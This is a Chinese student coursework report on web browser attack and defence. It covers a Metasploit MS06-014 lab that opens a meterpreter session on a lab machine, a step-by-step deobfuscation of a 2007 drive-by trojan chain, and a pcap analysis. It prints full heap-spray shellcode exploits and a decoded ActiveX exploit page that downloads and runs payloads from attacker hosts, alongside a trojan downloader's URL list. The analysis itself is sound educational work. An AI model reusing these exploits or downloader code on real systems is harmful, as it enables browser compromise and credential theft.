問題 | 回答 |
---|---|
這個做業屬於哪一個課程 | https://edu.cnblogs.com/campus/besti/19attackdefense |
這個做業的要求在哪裏 | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10756 |
我在這個課程的目標是 | 學習教材第十二章,瞭解Web瀏覽器安全攻防技術的相關知識 |
這個做業在哪一個具體方面幫助我實現目標 | 相關知識點和實踐 |
Web 瀏覽器做爲目前互聯網時代最爲重要的軟件產品,也正遭遇看咱們在第 10 章中已經介紹過的軟件安全困境三要素的問題,即複雜性、可擴展性和連通性,從而使得 Web 瀏覽器軟件與操做系統等大型系統軟件同樣,面臨着嚴峻的安全問題與挑戰。javascript
網頁木馬的定義特性:網頁木馬從本質特性上是利用了現代 Web 瀏覽器軟件中所支持的客戶端腳本執行能力,針對 Web 瀏覽端軟件安全漏洞實施客戶端滲透攻擊, 從而取得在客戶端主機的遠程代碼執行權限來植入惡意程序。
網頁木馬是對 Web 瀏覽端軟件進行客戶端滲透攻擊的一類惡意移動代碼,一般以網頁腳本語言如 JavaScript、 VBScirpt 實現,或以 Flash、 PDF 等惡意構造的 Web 文件形式存在,經過利用 Web 瀏覽端軟件中存在的安全漏洞,得到客戶端計算機的控制權限以植入惡意程序。php
對網頁木馬機理的全方位分析與理解:與傳統服務器端滲透攻擊能夠主動地進行網絡掃描與攻擊不一樣,網頁木馬的攻擊是被動式的,須要經過一些技術方法來誘使互聯網用戶來訪問網頁木馬頁面。此外在網頁木馬經過滲透攻擊得到客戶端計算機的遠程代碼執行權限以後,爲了進行進一步的主機控制和敏感信息竊取, 通常須要植入一些盜號木馬等類型的惡意程序。所以實施網頁木馬攻擊不像傳統服務器端滲透攻擊那麼簡單,每每涉及較爲複雜的多步驟攻擊場景,並須要多種類型的惡意代碼及網絡資源。使得網頁木馬成爲近年來最爲複雜和難以應對的網絡安全威脅類型的緣由以下html
網頁木馬的本質核心一瀏覽器滲透攻擊:網頁木馬的本質核心是利用 Web 瀏覽端軟件安全漏洞的滲透攻擊代碼。java
網頁掛馬機制:在編寫完成網頁木馬滲透攻擊代碼以後,爲了使得可以有終端用戶使用他們可能存在安全漏洞的 Web 瀏覽端軟件來訪問網頁木馬,攻擊者還須要將網頁木馬掛接到一些擁有客戶訪問流量的網站頁面上,而這一過程就被稱爲網頁掛馬。網頁掛馬的機制不少,最主要的有以下四類策略。linux
<script src="URL to Trojan">
。混淆機制:除了引入中間跳轉節點進行嵌套連接,並集成多種滲透攻擊代碼以外,網頁木馬攻擊網絡中還每每採用了大量的混淆技術,來對抗反病毒軟件的檢測,並提升反病毒工程師的分析難度,從而使得網頁木馬攻擊網絡更難被檢測和摧毀,這些混淆技術也被稱爲「免殺」。目前在網頁木馬中使用比較普遍的混淆方法中要有ios
基於特徵碼匹配的傳統檢測方法:在網頁木馬做爲一種新形態的惡意代碼產生後, 反病毒軟件公司仍延用惡意腳本代碼靜態分析過程來提取出其中具備樣本特異性的特徵碼,而後在線更新手反病毒客戶端軟件中,使用傳統的基於特徵碼檢測方法來嘗試從互聯網用戶上網瀏覽過程當中檢測出網頁木馬。web
基於統計與機器學習的靜態分析方法:爲應對網頁木馬廣泛採用的代碼混淆機制, 研究人員採用了多種統計與機器學習方法對混淆及行爲特徵進行檢測,包括某於判斷矩陣法的網頁惡意腳本檢測方法、基於靜態啓發式規則的檢測方法、基於多異常語義特徵加權的惡意網頁檢測方法以及基於分類算法的混淆惡意腳本檢測方法等。算法
基於動態行爲結果斷定的檢測分析方法:近年來爲應對網頁木馬,最爲有效的一種方式是基於動態行爲結果斷定的檢測分析方法,這種方法利用了網頁木馬在攻擊過程當中向互聯網用戶主機植入並激活惡意程序的行爲特性,經過構建包含典型 Web 訪問瀏覽器及應用軟件、存有安全漏洞的高交互式客戶端蜜罐環境,在蜜罐中訪問待檢測的網頁,根據訪問過程當中是否觸發了新啓動進程、文件系統修改等非預期系統狀態變化,以斷定當前訪問頁面中是否被掛接了網頁木馬。shell
應對網貝木馬最根本的防範措施與應對傳統滲透攻擊同樣,就是提高操做系統與瀏覽端平臺軟件的安全性,能夠採用操做系統自己提供的在線更新以及第三方軟件所提供的經常使用應用軟件更新機制,來確保所使用的計算機始終處於一種相對安全的狀態。數據庫
網絡釣魚(Phishing)是社會工程學在互聯網中普遍實施的一種典型攻擊方式,經過大量發送聲稱來自於銀行或其餘知名機構的欺騙性垃圾郵件,意圖引誘收信人給出我的敏感信息(如用戶名、口令、帳號ID 、PIN 碼或信用卡詳細信息等)。
任務: 使用攻擊機和 Windows 靶機進行瀏覽器滲透攻擊實驗,體驗網頁木馬構造及實施瀏覽器攻擊的實際過程。
所需環境:
本次實驗所使用的攻擊機爲 kail linux,靶機爲 Windows 2KS,ip 地址以下表所示
主機名稱 | ip地址 |
---|---|
kail | 192.168.200.10 |
windows 2ks | 192.168.200.124 |
這裏利用的是 MS06-014 漏洞,該漏洞爲 Windows 的 RDS.Dataspace ActiveX 實現上存在漏洞,遠程攻擊者可能利用此漏洞在獲取主機的控制。在某些狀況下,MDAC 所捆綁的 RDS.Dataspace ActiveX 控件沒法確保可以進行安全的交互,致使遠程代碼執行漏洞,成功利用這個漏洞的攻擊者能夠徹底控制受影響的系統。
首先打開 msfconsole ,搜索這個漏洞
選擇漏洞,搜索可用載荷
選擇第50號載荷 windows/meterpreter/reverse_tcp,設置載荷,使用show options
查看所須要配置的項
設置服務器地址LHOST
爲攻擊機地址192.168.200.10,expilot
運行
能夠看到惡意木馬腳本構形成功,而且生成了一個 URL http://192.168.200.10:8080/WSR0TBBr
接下來打開靶機,在靶機上 ping 服務器,發現能夠 ping 通,說明與服務器連通性正常
而後打開瀏覽器,訪問http://192.168.200.10:8080/WSR0TBBr
回到攻擊機,能夠看到攻擊機與靶機創建了一個 session 對話
這表明咱們在靶機上成功的得到了 Meterpreter 的 Shell
而後使用命令sessions -l
查看咱們控制的主機
使用命令sessions -i 1
選擇控制咱們攻陷的靶機,並經過ipconfig
命令查看靶機的ip地址
能夠看到與在靶機上查看到ip地址的一致
至此實驗完成
案例分析挑戰內容: 2007 年 10 月,北京大學計算機科學技術研究所信息安全工程研究中心蜜網課題組的成員在進行分析中國萬維網掛乃網站的採樣分析時, 發現了 個域名爲 I8dd.net 的龐大的木馬宿主站點。 在連接分析的過程當中, 發現有大量惡意網頁最終都重定向到了這個站點上,這在所有的宿主站點中排名第一。 進一步的研究分析代表, 這個站點的惡意代碼入口是 http://aa.l8dd.net/ww/new09.htm
文件。 如今你的任務是根據給出的說明逐步分析, 獲得最終的木馬文件的內容。
這個掛馬網站如今已經沒法訪問了, 但蜜網課題組的成員保留了最初作分析時所們的原始文件。首先你應該訪問 start.html,在這個文件中給出了 new09.htm 的地址, 在進入 new09.htm 後, 每解密出一個文件地址, 請對其做 32 位 MD5 散列,以散列值爲文件名到http://netsec.ccet1.ed.enu/hacking/
目錄(或者附偌資料中的解壓縮數據目錄)下去下載對應的文件(注意: 文件名中的英文字母爲小寫, 且沒有擴展名),即爲解密出的地址對應的文件。若是解密出的地址給出的是網頁或腳本文件,請繼續解密;若是解密出的地址是二進制程序文件,請進行靜態反彙編或動態調試。重複以上過程直到這些文件被所有分析完成。請注意:被散列的文件地址應該是標準的 URL 形式, 形如http://xxl8dd.net/a/b.htm
,不然會致使散列值計算不正確而沒法繼續。
問題:
分析過程
因爲題目中所給的 URL http://192.168.68.253/scom/start.html
沒法打開也沒法下載(所給資料中也沒有),那麼就沒法找到 new09.htm 文件,固然也沒法進行下一步分析,不得已只好按照指導書進行下面的內容
打開 new09.htm 咱們能夠獲得兩個連接http://aa.18dd.net/aa/kl.htm
http://js.users.51.la/1299644.js
,分別計算它們的MD5值
分別爲7f60672dcd6b5e90b6772545ee219bd3
和23180a42a2ff1192150231b44ffdf3d3
,從老師所給資料中的hashed
文件夾中找到這兩個文件
能夠發現第一個文件有11kb,第二個文件不到1kb,先看第二個文件
這顯然不是咱們所須要的內容,那麼打開第一個文件
由倒數第三行t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
咱們知道這個文件使用了一種
被稱爲 XXTEA+Base64 的加密方法,對付這種加密方法,咱們只要找到它的加密密鑰便可。固然這個xxtea_decrypt
函數的第二個參數就是密鑰,不過也是被加密過的,可是僅僅是一種16進制加密。轉換一下便可獲得密鑰
能夠看到密鑰爲script
指導書中所給的 xxtea 在線解密網站已經不能用了,這裏能夠用xxtea在線解密網站來解密,輸入密文和密鑰,點擊解密,便可獲得結果
這裏加密者又用到了另外一種加密方式,也就是十六進制加密,對引號內的內容解密,獲得以下結果,將結果保存
分析這段代碼,能夠看到它利用了應用程序漏洞有「Adodb.Stream」、「MPS.StormPlayer」、「POWERPLAYER.PowerPlayerCtrl.1」和「BaiduBar.Tool」,分別對應利用了微軟數據庫訪問對象、暴風影音、PPStream 和百度搜霸的漏洞。
另外,這個文件還引用三個 js 文件和一個壓縮包(bd.cab,解開後是bd.exe)
根據分析結果,對http://aa.18dd.net/aa/1.js
、http://aa.18dd.net/aa/b.js
、http://aa.18dd.net/aa/pps.js
和http://down.18dd.net/bb/bd.cab
做處理
一樣計算md5的值,過程同上,能夠分別獲得它們的MD5值
連接 | MD5值 |
---|---|
http://aa.18dd.net/aa/1.js |
5d7e9058a857aa2abee820d5473c5fa4 |
http://aa.18dd.net/aa/b.js |
3870c28cc279d457746b3796a262f166 |
http://aa.18dd.net/aa/pps.js |
5f0b8bf0385314dbe0e5ec95e6abedc2 |
http://down.18dd.net/bb/bd.cab |
1c1d7b3539a617517c49eee4120783b2 |
同理,到hashed
文件夾中找到這四個文件,保存
首先來看1.js
也就是 5d7e9058a857aa2abee820d5473c5fa4
仍是一個十六進制加密,解開可得
這個文件前面部分下載了一個http://down.18dd.net/bb/014.exe
的可執行文件,後面部分則是對ADODB漏洞
的繼續利用。
先將這個exe文件放到一邊,咱們先來看b.js,也就是3870c28cc279d457746b3796a262f166
文件
這段代碼看起來讓人至關頭痛,不過好在第一行的函數的參數(p,a,c,k,e,d)給了咱們提示,連起來是「packed」。上網搜索,這實際上是一個混淆工具。下面咱們在這個網站在線js美化來還原代碼
還原後的代碼以下所示
var bigblock = unescape("%u9090%u9090"); var headersize = 20; var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000"); var slackspace = headersize + shellcode.length; while (bigblock.length < slackspace) bigblock += bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length - slackspace); while (block.length + slackspace < 0x40000) block = block + block + fillblock; memory = new Array(); for (x = 0; x < 300; x++) memory[x] = block + shellcode; var buffer = ''; while (buffer.length < 4068) buffer += "\x0a\x0a\x0a\x0a"; storm.rawParse(buffer)
這裏出現了關鍵字 shellcode ,是二進制的機器碼,下面分析這個 shellcode
這個 shellcode 並不長,但它要實現不少破壞,不可能把全部的病毒都寫在裏面。所以它極可能就是下載器。對於一個下載器來講,必不可少的一項內容就是要下載的內容的 URL,咱們能夠找一找這加密的代碼裏有 URL 特徵的字符串。
URL 中必然會出現的斜線/
,/
的十六進制 ASCII 碼是2F
,那麼咱們就在這段shellcode 中找/
。查找結果以下(高亮處)
這裏能夠看到後四個2f
比較密集,很可疑。那麼咱們取第三個2f
到末尾的內容
(這裏指導書上給的解密工具一樣不能用了,能夠採用 FreShow 和16進制轉換結合解密)
能夠獲得一個不徹底的網址://down.18dd.net/bb/bf.exe
,將它補充完整http://down.18dd.net/bb/bf.exe
又是一個可執行文件,先放一放。看下一個 js 文件 pps.js ,也就是5f0b8bf0385314dbe0e5ec95e6abedc2
文件,打開查看
此次變成了八進制轉換,解密,結果以下
/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u*/ pps=(document.createElement("object")); pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458") var shellcode = unescape("%uf3e9%u0000"+ "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersize+shellcode.length; while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (x=0; x<400; x++) memory[x] = block + shellcode; var buffer = ''; while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a"; pps.Logo = buffer
一樣是 shellcode ,與上述過程同理,能夠解密出以下 URL http://down.18dd.net/bb/pps.exe
最後一個壓縮文件將其解壓縮,能夠獲得bd.exe
執行文件,計算將前三個可執行文件的 URL 的 MD5 值,以下表所示
連接 | MD5值 |
---|---|
http://down.18dd.net/bb/014.exe |
ca4e4a1730b0f69a9b94393d9443b979 |
http://down.18dd.net/bb/bf.exe |
268cbd59fbed235f6cf6b41b92b03f8e |
http://down.18dd.net/bb/pps.exe |
ff59b3b8961f502289c1b4df8c37e2a4 |
因而咱們有了四個可執行文件,即 014.exe,bf.exe,pps.exe,bd.exe,將其保存會發現,這四個文件的大小是相同的
校驗這四個文件的 MD5 值,會發現竟然是相同的(1290ecd734d68d52318ea9016dc6fe63)
結合上述分析,說明這四個可執行文件是相同的,那麼分析其中一個就能夠了,下面就是咱們前面實驗所作過的分析一個病毒程序了,那麼按照流程,咱們先來檢驗它是否加殼,這裏使用 peid 工具
能夠看到這個程序是由 Delphi 寫得,同時可使用 DeDe 來驗證一下
果不其然是這樣,接下來使用反彙編工具 W32DAsm 反彙編這個程序,首先來看一下字符串(這裏沒有辦法放大,只好把它複製出來)
" goto try" "#32770" "(T@" ",T@" ".1" ":\AutoRun.inf" ":try" "[AutoRun] open=" "\program files\internet explorer\IEXPLORE.EXE" "0813" "3爛怱VQ嬝媠咑u3離&j" "60000" "advapi32.dll" "Alletdel.bat" "AutoRun.inf" "Button" "ChangeServiceConfig2A" "ChangeServiceConfig2W" "cmd /c date " "cmd /c date 1981-01-12" "del "" "del %0" "drivers/klif.sys" "Error" "FPUMaskValue" "http://down.18dd.net/kl/0.exe" "http://down.18dd.net/kl/1.exe" "http://down.18dd.net/kl/10.exe" "http://down.18dd.net/kl/11.exe" "http://down.18dd.net/kl/12.exe" "http://down.18dd.net/kl/13.exe" "http://down.18dd.net/kl/14.exe" "http://down.18dd.net/kl/15.exe" "http://down.18dd.net/kl/16.exe" "http://down.18dd.net/kl/17.exe" "http://down.18dd.net/kl/18.exe" "http://down.18dd.net/kl/19.exe" "http://down.18dd.net/kl/2.exe" "http://down.18dd.net/kl/3.exe" "http://down.18dd.net/kl/4.exe" "http://down.18dd.net/kl/5.exe" "http://down.18dd.net/kl/6.exe" "http://down.18dd.net/kl/7.exe" "http://down.18dd.net/kl/8.exe" "http://down.18dd.net/kl/9.exe" "IE 執行保護" "IEXPLORE.EXE" "IE執行保護" "if exist "" "Kernel32.dll" "NoDriveTypeAutoRun" "ntdll.dll" "QueryServiceConfig2A" "QueryServiceConfig2W" "S@" "serdst.exe" "shell\Auto\command=" "shellexecute=" "SOFTWARE\Borland\Delphi\RTL" "Software\Microsoft\Windows\CurrentVersion\Poli" "Telephotsgoogle" "U嬱兡餝VW3繳h訹@" "U嬱筧" "U嬱伳SVW?" "ZwUnmapViewOfSection" "刌@" "銼@" "婦$鰼" "媩$(?" "燬@" "擮@" "肯定" "媆$?搡?婼婥t?燖" "瑞星卡卡上網安全助手 - IE防漏牆" "爲即插即用設備提供支持" "圷@" "容許" "容許執行"
分析這些字符串:
下面動態分析這個程序,使用的監視工具爲 Process Monitor、SysInspector、Total Uninstall
首先使用 SysInspector 生成運行程序前的系統日誌,運行 bd.exe 以後,再次生成一個系統日誌,而後點比較日誌,能夠獲得以下結果
能夠看到有兩處變化
不過在服務創建後並無什麼事情發生......,我的猜想是下載器(bd.exe)中的 URL 已經失效了,不過好在資料中給出了這 20 個執行文件,咱們能夠直接在這裏分析
以4.exe爲例,一樣重複上述步驟,首先使用 W32Dasm 反彙編,查看字符串,獲得以下結果
"" "" goto Loop del %0 " "" -r -a -s -h del "" "" if exist "" "%d" ".bat" ".mod" ":Loop " "@echo off " "\" "\InprocServer32" "^B*" "{28907901-1416-3389" "1" "-9981-372178569982}" "a" "Apartment" "asktao" "attrib "" "C:\DFD" "CLSID\" "EnHookWindow" "enweafx.fon" "Fonts\" "id.exe" "kawdacs.dll" "kawdazy.d" "kawdbaz.exe" "kawdbzy.dll" "ll" "MP3" "Music" "q@ı" "Send" "Software\Microsoft\Windows\CurrentVersion\expl" "S鐻?吚t嬝覽? "ThreadingModel" "Url%d" "Url1" "U嬱S瑙?嬝杓錏?+?? " "vercls" "wddpri.d" "獲ı" "嬂%Q@"
從上面很難推出不少信息,主要能夠看到這個病毒可能要生成一個批處理文件並進行刪除文件操做,由於"goto Loop del %0"," -r -a -s –h del ","if exist ", ":Loop","@echo off","attrib ""這些內容都是批處理文件中的字符串。同時其中還有ClassID 標識、註冊表鍵值和一些文件名。
接下來使用 SysInspector 進行動態分析,先生成程序運行前的日誌,程序運行後再生成一份日誌,將其比較,查看結果
生成了一些文件,包括kawdbaz.exe,kawdbzy.dll等,同時刪除了verclsid.exe
更改了一些註冊表項目,主要是設置了一個鉤子,加載了一個啓動DLL,另外把Windows的自動更新功能給禁用了。
能夠看到這個程序給 explorer.exe 程序和中被注入了動態連接庫 kawdbzy.dll。而實際上,除了病毒的主程序文件 kawdbaz.exe 的進程外,Process Monitor、vmtool、SysInspector本身的進程中都被注入了該DLL。
固然憑藉這些分析咱們仍是很可貴出這些軟件是幹什麼的,不過能夠借用 360 軟件來分析一下,這個程序是一個盜號木馬
其它19個程序分析過程同理,運行結果基本上大同小異,能夠肯定這20個程序均是盜號木馬
問題解答
試述你是如何一步步地從所給的網頁中獲取最後的真實代碼的?
見上述分析過程
網頁和 JavaScript 代碼中都使用了什麼樣的加密方法?你是如何解密的?
使用了8進制,16進制,js 混淆,xxtea + base64加密,二進制機器碼加密等。解密過程見上述分析過程
從解密後的結果來看,攻擊者構造的網頁木馬利用了哪些安全漏洞?
解密後發現了多少個可執行文件?這些可執行文件中有下載器麼?若是有,它們下載了哪些程序?這些程序又是起什麼做用的?(請舉例分析)
解密後發現了4個可執行文件,這四個可執行文件內容相同,都是下載器,下載了20個程序。這些程序的做用是盜取用戶的帳號。
攻擊方使用 Metasploit 構造出攻擊至少兩個不一樣 Web 瀏覽端軟件安全漏洞的滲透攻擊代碼,並進行混淆處理組裝成一個URL連接,經過具備欺騙性的電子郵件發送給防守方。
防守方對電子郵件中的掛馬連接進行提取、解混淆分析,嘗試恢復出滲透攻擊代碼的原始形態, 並分析出這些滲透代碼都是攻擊哪些 Web 瀏覽端軟件的哪些安全漏洞。
雙方撰寫詳細實驗分析報告, 對攻防對抗過程進行總結。
這個實驗所使用攻擊機爲 kail,靶機爲 win 2kS
攻擊方
構建漏洞的過程如第一個實踐所示,這裏不贅述了。
這裏編寫一個測試網頁 test.html(比較簡單),使用iframe
標籤將漏洞連接嵌入到咱們的測試網頁中,這樣當用戶訪問測試網頁時候,會一併顯示這個頁面。同時將高度和寬度設置爲0,這樣用戶就看不見咱們嵌入的這個頁面
將 test.html 放入 /var/www/html/ 中,同時打開 apache 服務
保存,當用戶訪問 http://192.168.200.10/test.html
時,就會創建起會話
攻擊成功
防守方
首先使用 freshow 分析所給連接,發現裏面嵌套有另外一個 URL ,推測應該就是 shellcode 的連接
檢查這個連接
發現該網頁爲了防止被殺毒軟件查殺,使用了大量的空白和間隔
去除空白與間隔後(js 解密),代碼以下
< html > < head > < title > < /title><script language="javascript">function NMTecHqTwlncd(o,n){var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}function uuAbyFHRrcPdFfbNYhEOQzLI(a){var s=NMTecHqTwlncd(a,"WScript.Shell");var o=NMTecHqTwlncd(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload ';var xml=null;var bin=e.Item("TEMP")+"XHfsyzhkBIAE.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function BeMvp(){var i=0;var t=new Array(' { BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36 } ',' { BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30 } ',' { 7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D } ',' { 6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3 } ',' { 6414512B - B978 - 451D - A0D8 - FCFDF33E833C } ',' { 06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766 } ',' { 639F725F - 1B2D - 4831 - A9FD - 874847682010 } ',' { BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8 } ',' { D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19 } ',' { E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B } ',' { AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116 } ',' { 0006F033 - 0000 - 0000 - C000 - 000000000046 } ',' { 0006F03A - 0000 - 0000 - C000 - 000000000046 } ',null);while(t[i]){var a=null;if(t[i].substring(0,1)==' { '){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=NMTecHqTwlncd(a,"WScript.Shell");if(b){uuAbyFHRrcPdFfbNYhEOQzLI(a);return(0)}}catch(e){}}i++}}</script></head><body onload=' BeMvp() '>EPboqnoNqNOztTdS</body></html>
能夠看到調用了 document.location 加載了 payload,而且下一行中後面跟了一個可執行文件 XHfsyzhkBIAE.exe;。下面給出的那個數組比較可疑了,上網搜索果真是 ms06-14 漏洞。
經過分析如下給出的網絡記錄 pcap 文件(suspicious-time.pcap Sha1 : 1f 100c8a4996fafa80d47202881a17796941fd337), 回答如下問題並撰寫實踐分析報告。
列出在捕獲文件中的應用層協議類型, 你認爲攻擊是針對哪一個或哪些協議的?
使用 chaosreader 生成文件
查看一下數據包,沒有針對 ICMP,Bootps,Netbios 或 DNS 協議的攻擊。針對的協議應該是 HTTP。
列出捕獲文件中的 IP 地址、主機名和域名。從這些信息中你能猜出攻擊場景的環境配置狀況嗎?
使用命令for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort –u
Rapidshare.com.eyu32.ru網站應該僞造了一個知名品牌,攻擊者可能會利用它對用戶進行網上釣魚。ip 地址爲 192.168.56.50
sploitme.com.cn,該名稱實際上暗示着某些惡意或遊戲(惡意的),網站是不存在的(未找到 DNS 域名)。ip 地址爲 192.168.56.52
shop.honeynet.sg 應該是一個購物網站的服務器,是正常的。ip地址爲 192.168.56.51。
honeynet.org 是另外一個知名的組織網站,應該是正常的
剩下的谷歌分析網站應該也是正常的
使用命令tshark -r suspicious-time.pcap | grep 'NB.*20\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$10}' | sort -u
篩選出 NBNS 協議,咱們知道 NBNS 協議的做用是基於 NetBIOS 名稱訪問的網絡上提供主機名和地址映射方法,也就是提供主機名稱。
這四個不一樣 ip 地址的主機分別映射的主機名是相同的
使用命令tshark -r suspicious-time.pcap | grep 'NB.*1e\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u
這四個 ip 地址的主機在同一個工做組
而經過 arp 協議篩選咱們能夠發現,這四個 ip 地址所對應的 mac 地址是不一樣的
經過上述分析,能夠推斷這四臺主機相同的(或者克隆的),但具備四個網卡,那麼攻擊場景的環境應該是在 VM 環境中。
具體以下:服務:10.0.2.2, 10.0.3.2, 10.0.4.2, 10.0.5.2
(DHCP 服務和網關),192.168.1.1
(DNS 服務)。
受害者:10.0.2.15, 10.0.3.15, 10.0.4.15,10.0.5.15
。
模擬被侵入主機:192.168.56.50
( 「rapidshare.com.eyu32.ru」)、192.168.56.51
(「shop.honeynet.sg」)。
攻擊者:192.168.56.52
( 「sploitme.com.cn」)。
列出捕獲文件中的全部網頁頁面, 其中哪些頁面包含了可疑的、多是惡意的
JavaScript 腳本代碼?誰在鏈接這些頁面?請描述惡意網頁的攻擊目的?
打開session_0006.part_01.html
發現了以下界面,這應該是一個釣魚網站,顯然是惡意建立的對應的就是rapidshare.com.eyu32.ru/login.php
。
那咱們找sploitme.com.cn
,發現 404 NotFound 了,這個對應文件session_0007.part_02.html
。
下面找shop.honeynet.sg/catalog/
,對應文件session_0032.part_01.html
。
請給出攻擊者執行攻擊動做的概要描述。
攻擊者將惡意 javascript 代碼注入指向sploitme.com.cn/?click=X
的隱藏iframe。當訪問者查看這些頁面時,它們首先被重定向到sploitme.com.cn/fg/show.php?s=X
,該頁面經過302 FOUND
標頭重定向到僞造的404頁面(數據包6三、17四、366)。而後在該頁面中,檢查用戶代理字符串,着陸點和其餘參數,並(show.php)發出另外一個javascript代碼,該代碼嘗試各類攻擊以在受害者的計算機中執行代碼。若是任何漏洞利用成功,則客戶端的計算機將下載並執行位於sploitme.com.cn/fg/load.php?e=X
的文件,惡意軟件訪問www.honeynet.org
。
